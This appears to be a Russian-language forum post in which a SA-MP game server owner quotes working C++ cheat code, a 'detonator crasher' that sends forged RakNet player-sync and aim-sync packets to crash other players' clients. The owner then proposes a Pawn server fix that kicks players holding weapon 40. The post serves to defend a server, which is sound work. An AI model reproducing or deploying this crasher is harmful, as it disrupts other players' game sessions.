Мой сервер 0.3.7-R2. Вот код:
PHP Code:
if (OLCheats->bDetonatorCrasher)
{
static DWORD DetonatorCrasherTick = GetTickCount();
static int iCamModeCount = 0;
int iCameModeID[7] = { 7, 8, 34, 45, 46, 51, 65 };
static bool bState = false;
if (GetTickCount() - DetonatorCrasherTick < 1000)
{
if (!bState)
{
stOnFootData OnFootData;
memcpy(&OnFootData, &g_Players->pLocalPlayer->onFootData, sizeof(stOnFootData));
OnFootData.sKeys = 128; // works only with key for aim
OnFootData.byteCurrentWeapon = 40;
BitStream bsOnFoot;
bsOnFoot.Write((BYTE)ID_PLAYER_SYNC);
bsOnFoot.Write((PCHAR)&OnFootData, sizeof(stOnFootData));
g_RakFuncs->Send(&bsOnFoot, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0);
bState = true;
}
}
else
{
if (bState)
{
stOnFootData OnFootData;
memcpy(&OnFootData, &g_Players->pLocalPlayer->onFootData, sizeof(stOnFootData));
OnFootData.fPosition[0] += 200000.f;
OnFootData.fPosition[1] += 200000.f;
OnFootData.sKeys = 128;
OnFootData.byteCurrentWeapon = 40;
BitStream bsOnFoot;
bsOnFoot.Write((BYTE)ID_PLAYER_SYNC);
bsOnFoot.Write((PCHAR)&OnFootData, sizeof(stOnFootData));
g_RakFuncs->Send(&bsOnFoot, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0);
bState = false;
}
if (GetTickCount() - DetonatorCrasherTick > 2000)
{
DetonatorCrasherTick = GetTickCount();
}
}
stAimData AimData;
memcpy(&AimData, &g_Players->pLocalPlayer->aimData, sizeof(stAimData));
AimData.byteCamMode = iCameModeID[iCamModeCount];
BitStream bsAim;
bsAim.Write((BYTE)ID_AIM_SYNC);
bsAim.Write((PCHAR)&AimData, sizeof(stAimData));
g_RakFuncs->Send(&bsAim, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0);
iCamModeCount++;
if (iCamModeCount >= 7)
iCamModeCount = 0;
}
Прикол в том игроки не крашат сразу. Samp client удаляет игрока и дает exception warn. Сам крашер пропадает(Removed player X due to error. X-ид крашера). Крашеру надо снова заспавниться чтобы стать видимым. Если у вас не используется оружие Satchel Charge то фикс думаю будет таким:
PHP Code:
public OnPlayerUpdate(playerid)
{
if(GetPlayerWeapon(playerid) == 40)
{
Kick(playerid);
return 0;
}
return 1;
}
Только не знаю как фиксануть если испольузется Satchel Charge(как у меня). В конце код не очень понятен, зачем то отправляются различные камеры.